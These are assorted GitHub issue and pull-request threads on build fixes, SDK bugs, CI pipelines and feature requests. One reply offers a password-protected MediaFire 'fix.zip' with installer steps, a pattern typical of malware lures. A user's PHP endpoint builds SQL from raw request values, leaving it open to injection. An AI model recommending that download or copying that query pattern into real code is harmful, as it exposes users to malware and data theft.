iiuc, all the functionality in @azure/communication-signaling should be available via @azure/communication-chat.

Do you have an immediate solution for this? Or suggestion for going forward?
Problem is that Event Types are not being exported by communication-chat

Let's bring this up with the chat team. There is no stable supported way to use Event Types right now in that case.


fix: bug fix microbundle for jsx

Description

updated package.json
fixed microbundle params to work correctly for jsx

Fixes #36
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Checklist:

[x] My code follows the style guidelines of this project
[x] I have updated the documentation accordingly where applicable.
[x] I have added tests to cover my changes.
[x] All new and existing tests passed.

:tada: This PR is included in version 5.0.2 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


fix configMapSelector typo

fixes from configMapSeclector to configMapSelector in the crd.

Fixes https://github.com/GalleyBytes/terraform-operator/issues/153

Why did you keep the misspelled one? the change to the go-code clearly shows it could never parse it since it was using the right name in go

Both the misspelling and correct spelling works for me.  When unmarshalling, the un-marshaller correctly populates the variables from by reading the associated tags (json:"configMapSelector,omitempty" & json:"configMapSeclector,omitempty").
I didn't fix anything here except a new variable name that preserves the old tag in case it was working a certain way for someone else.


Make language interpreter versions more discoverable

We base our sdk images off upstream SDK specific images.
Around pulumi version 3.24.1 our chosen image node image node:lts-bullseye-slim had its node version upgraded underneath us.
It'd be great if we could either:

pin to explicit versions so we can announce to customers when things are changing
make the underlying language interpreter more discoverable, perhaps via labels?

Related: https://github.com/pulumi/pulumi-docker-containers/issues/103
We'll document our support and upgrade policy, and around that time, we can tackle this issue too. Right now, this repo is not compatible with our brand-spankin'-new support policy. (DM me on Slack for the internal link.)

We now have a clear version policy and a set of language-runtime-versioned images. See https://github.com/pulumi/pulumi-docker-containers?tab=readme-ov-file#language-versions


Skip labels get removed or ignored

Description
The functionality to skip Manifest reconciliation for SRE debugging purposes is not working as expected. The label of  declarative.kyma-project.io/skip-reconciliation: "true" actually gets removed again once it has been edited, but it should not.
Acceptance Criteria

Delete this

Reuse the label from v1beta2 API

Manifest label operator.kyma-project.io/skip-reconciliation: "true" should be excluded from Kyma reconciliation

Fetch ManifestCR
If ManifestCR contains this label, ManifestCR labels should not be updated
Test Performance + Report

Implement integration tests fro Kyma controller

Implement here
Check if label is still existing after one or multiple Kyma reconciliation loops in corresponding ManifestCR

Use Consistently() function, not Eventually()

Create Follow-Up issue to test skip-reconciliation functionality of Manifest Controller

Tested this on staging environment and using declarative.kyma-project.io/skip-reconciliation: "true" on Manifest actually pauses the reconciliation of module resources and the label does not get removed. Deleting the label results as expected in immediate reconciliation of module resources.
Keeping this issue open for adding the test case only.


Add test to the project

To continue scaling the APP, we need to create tests to know what our changes aren't breaking any functionality. Please add tests, this should include:

[ ] When the user clicks on one button this is marked and start the next turn
[ ] When the user clicks again on the same button, this move is omitted
[ ] When the user clicks on the history button, the squares are changing
[ ] When the user clicks in a square in the past, the history is changed
[x] When the user complete one line, that user wins, and the squares are highlighted
[ ] When the user clicks in Reverse button, the history buttons are reversed
[x] The selected history item is highlighted

I'm working in adding individual component tests and view test

[ ] Individual component tests
[ ] Complete game test


[SW-542] refactor: use the correct name structure

Remove workaround introduced becasue of https://github.com/aeternity/ae_mdw/issues/509

LGTM for web wallet and extension.


post request sent as a GET

I'm sending a form with post to my web server but my server intercept the request as a GET. I tried to send the same request from a rest client and the server respond correctly so I thing I'm doing something wrong in the android client.
I'm using as a content-type: application/x-www-form-urlencoded is there any way to set this content type?
Here is the code I'm using:
    final RequestParams params = new RequestParams();
    params.put(ParamConstants.LOGIN_USERNAME, username);
    params.put(ParamConstants.LOGIN_PASSWORD, password);

    final AsyncHttpClient client = new AsyncHttpClient();

    client.post(URLConstants.MAIN_URL
            + URLConstants.EP_SER_REGISTRATION_login, params,
            new AsyncHttpResponseHandler() {
                @Override
                public void onFailure(final Throwable arg0,
                        final String arg1) {
                    // TODO Auto-generated method stub
                    super.onFailure(arg0, arg1);
                }

                @Override
                public void onFinish() {
                    // TODO Auto-generated method stub
                    super.onFinish();
                }

                @Override
                public void onStart() {
                    // TODO Auto-generated method stub
                    super.onStart();
                }

                @Override
                public void onSuccess(final String response) {
                    Log.i(DataRetriverServiceImpl.class.getSimpleName(),
                            "Data received: " + response);
                    final AccessInfoData accessInfoData = (AccessInfoData) getJsonHandler()
                            .handleJson(response, AccessInfoData.class);
                    if (accessInfoData != null
                            && accessInfoData.isLoggedIn()) {
                        activity.goToMenu();

                    }
                }
            });

How did you solved, my server is VPS and i am facing same issue.

@adnanhaider237 hi
can you show code?
this doesn't look possible!

@adnanhaider237 hi
can you show code?
this doesn't look possible!

yes sure.
it always go to onFailure and shows fthis error
ERROR: Moved Permanently
RequestParams params = new RequestParams();
params.put("name", et_name.getText().toString().trim());
params.put("sur", et_sur_name.getText().toString().trim());
params.put("uploaded_file", file_name, myFile);
params.put("img", file_name);
AsyncHttpClient client = new AsyncHttpClient();
client.post("url", params,
new TextHttpResponseHandler() {
                                            @Override
                                            public void onFailure(int statusCode, Header[] headers, String responseBody, Throwable error) {

                                                loading.dismiss();
                                                DialogClass dialog = new DialogClass(context,
                                                        "Warning", s + "Fail to insert in database");
                                                dialog.show();
                                            }

@Override
public void onSuccess(int statusCode, Header[] headers, String responseString) {
}
});

@adnanhaider237 hi
can you show code?
this doesn't look possible!

and this is My API of PHP.
num_rows > 0) {
		echo "2";
	}
	else{
		$sql = "INSERT INTO data ( name,sur, contact,email, address,note,type,town,district,property,room,user_id,link,status,img) VALUES ('$name','$sur',  '$contact', '$email','$address', '$note','$type','$town','$district', '$property','$room','$id','$link','1','$img')";

		if ($con->query($sql) === TRUE) {
			$file_path = $file_path.basename($_FILES['uploaded_file']['name']);
			if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'],$file_path)){
				echo '1';
			}else{
				echo '0';
			}
			//echo '1';
		} else {
			echo '0';
		}
	}
mysqli_close($con);
?>

@adnanhaider237 hi
can you show code?
this doesn't look possible!

and it work correctly on my localhost by using xamp but on bluehost VPS server this issue occur

@adnanhaider237 it seems redirected on some url,
do you have this issue with other post method on your server?

@adnanhaider237 it seems redirected on some url,
do you have this issue with other post method on your server?

Yes I am facing on all POST methods on this server.

@adnanhaider237 are you using http or https on server?

@adnanhaider237 are you using http or https on server?

@saeed-rz It is https

@adnanhaider237
i have test client again and no error happen!
can you send me url for debugging purpose?
send it to my email for safety
<EMAIL_ADDRESS>


Add premerge/release-qa buildkite pipelines

Description

added premerge pipeline
added release-qa pipeline
use the build.sh that's been moved to gdk-for-unity-shared-ci
drive-by fix of deployment launcher to run sim_player deployment without a starting snapshot (as the snapshot was empty anyway)

Tests
ran through buildkite against feature/unify-build-scripts shared-ci branch
Documentation
n/a
Primary reviewers
If your change will take a long time to review, you can name at most two primary reviewers who are ultimately responsible for reviewing this request. @ mention them.

If we are removing the sim players snapshot - what snapshot is the deployment started with now?

The _sim_player deployment is started up without a snapshot now, as it was empty before anyway. This works as normal in testing


Update cats-effect to 3.2.9

Updates org.typelevel:cats-effect from 2.5.4 to 3.2.9.
Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Applied Migrations

github:typelevel/cats-effect/v3_0_0?sha=series/3.x

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel", artifactId = "cats-effect" } ]

labels: library-update, semver-major, scalafix-migrations

Superseded by #498.


Restart regression tests

It seems like there are still issues after #818. Let's try restarting the regression tests, and see if things are smooth hereafter, if not we can revert the PRs mentioned in #818.

bors r+


Provide jobIds behind model creation in run_results.json

In BigQuery, each time SQL is executed, a job is created and assigned a unique ID. (Example: job_9JVepH9O1bzemNfB6xZzxz_mfFkY) When DBT runs it checks for the results/status of these jobs.
We've found the run_results.json file extremely useful, and being able to tie these results (errors, compiled SQL, variables, tags, etc.) back to the specific job that executed in BigQuery for additional information and troubleshooting would make run_results.json even more useful.
Describe alternatives you've considered
You could try to look at a combination of DBT logs and BigQuery logs in Stackdriver Logging and try to approximate which exact job corresponded to the model creation by timestamp proximity or query (compiled SQL), but those methods are not deterministic.
Additional context
This is specific to BigQuery for now, but I am sure there are parallels in other databases (transaction ID? query ID?).
Another aspect to consider would be whether to provide multiple jobIds if there is a macro called in the model that executes additional queries against the database.
Who will this benefit?
Anyone that wants to tie run results back to specific jobs for additional debugging would benefit from this feature.

Missed this when I transferred BigQuery-specific issues a few months ago. This is analogous to https://github.com/dbt-labs/dbt-snowflake/issues/7, and many of the same implementation details apply. I'm going to mark this a good first issue if anyone is interested in picking it up

@jtcohen6 I'd love to take a crack at implementing this. Do you have any tips on where to get started / what an implementation would look like?

@akshaan Sorry for the delayed response here! If you're still interested in contributing, we'd still love to have the change.
The implementation here should look very very similar to the change proposed in https://github.com/dbt-labs/dbt-snowflake/pull/40. It's just a matter of adding job_id as an attribute of BigQueryAdapterResponse here:
@dataclass
class BigQueryAdapterResponse(AdapterResponse):
    bytes_processed: Optional[int] = None
    job_id: Optional[str] = None  # should this be Optional, or str = '' ?

And then accessing the job_id off the QueryJob further down:
        # for each statement type
        job_id = query_job.job_id

        # and then
        response = BigQueryAdapterResponse(
            _message=message,
            rows_affected=num_rows,
            code=code,
            bytes_processed=bytes_processed,
            job_id=job_id
        )


Out of stack space (Error 28) - Internet explorer 11, 10, 9 Crashing application

Expected behaviour
I have an interface where we add tabs dynamically to the system and content is being rendered via AJAX. Inside which I am using datepicker.
Actual behaviour
It worked well for Chrome and Firefox when adding and rendering tab content via AJAX. But in IE it works in first go and on 2nd generated tab it gives this error.

Out of stack space (Error 28)

Datepicker version used
1.6.4, tested with 1.7.0 RC3 as well
Example code
$('.datepicker').datepicker({
autoclose: true,
endDate: "-infinity",
format: "dd-M-yyyy"
});
Cannot produce JSfiddle as the tabs framework is very big.

Hi All,
I've the same issue.
But when I upgrade to version 1.7.1. The bug was fixed. But I don't see in in Changelog of version 1.7.1?
Regards,

It was causing because of JqueryUI. I removed it and it started working fine.


try building with jruby-head

Travis CI fails to build.
https://travis-ci.org/Shopify/verdict/jobs/312084986

Unknown ruby string (do not know how to handle): jruby-<IP_ADDRESS>0.
Requested binary installation but no rubies are available to download, consider skipping --binary flag.
Gemset '' does not exist, 'rvm jruby-<IP_ADDRESS>0 do rvm gemset create ' first, or append '--create'.

Switching to - jruby-head in .travis.yml solves the issue.
I left both options to make sure it wasn't just a build fluke. I'd squash if this is approved.

The current version of jruby 9.1.14 is failing so once this gets fixed out builds should be fixed too. we could tell travis to test against a specific version instead
having just jruby in the travis.yml tells travis to build with the current version of jruby...not sure what jruby-head means, if it is the current stable version? 🤷♂
maybe @eljojo has better knowledge on this

The purpose of this PR was to identify what the problem with CI was.
Now that we know that the next version of jRuby will fix it there is no need for it anymore.

@leo-shopify if we're going to use Verdict in production on a jruby VM, I think we should test against it.

@eljojo We are in agreement :). I meant that there is no need for this PR to be merged. The current configuration, which tests again jRuby stable is correct.


web editor not importing preloaded project

Godot version
4.0.stable
System information
windows 10
Issue description
When you add a project into the preload section of the web editor (link)

it accepts the file but wont load it or realize it has been loaded
(link to video)
Steps to reproduce
try import a project into the preload of the web editor
Minimal reproduction project
demo.zip

It actually loads it, but the logic which is supposed to install it automatically seems broken.
You'll find it in /tmp/preload.zip in the web filesystem, so if you press "Import" you can actually import /tmp/preload.zip in /home/web_user/. But in the past this used to be automatic, and that should be restored.

Yes I confirm, now the user has to navigate to /tmp manually, making the import a bit cumbersome.


Adding AirVPN.pkg v2.8 Cask

Adds support for installing the AirVPN OS X vpn client

@vitorgalvao squashed my commits, looks like things should be good to merge. Thanks again for your help on this

Looks great. Thank you.


Windows Arm64 Support

Need windows arm64 builds of libretro plugins, nativefiledialog and raylib. For now windows arm64 users should use the x64 build.

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


What's the version of fastai in these notebooks?

I tried 1.0.39,1.0.34 and 1.0.27, but none of them could match all the code in notebooks, can anybody tell me the right version?

1.0.39 is the right version as of this writing, and if some notebooks are outdated please specifically report which ones are out of date and what's not working.


Implement Global Index to map a record key to a <partition path, FileID> pair

This will speed up the indexing which is currently done through looking up bloom filters for all files in the partition

A interesting project - succinct - https://github.com/amplab/succinct/blob/master/spark/src/main/scala/edu/berkeley/cs/succinct/SuccinctRDD.scala

Moved to https://issues.apache.org/jira/browse/HUDI-53


Setup GitHub Actions builds for Ubuntu and Windows

This changeset introduces the GitHub Action workflows for continuous integration.
At this point, since the project has no tests, any reporting/coverage tasks were excluded.

@Oleg-Melnik PTAL.
Also, it is the PR author who usually merges the PR, not the reviewer.

Also, it is the PR author who usually merges the PR, not the reviewer.

Sure. I just got it as a unique case)


Add documentation for the Template

Add a Section about Template in the Readme, it's the only type of object missing.

Done in commit df6fd310990a10b2abe1999e13ce8761a058f03d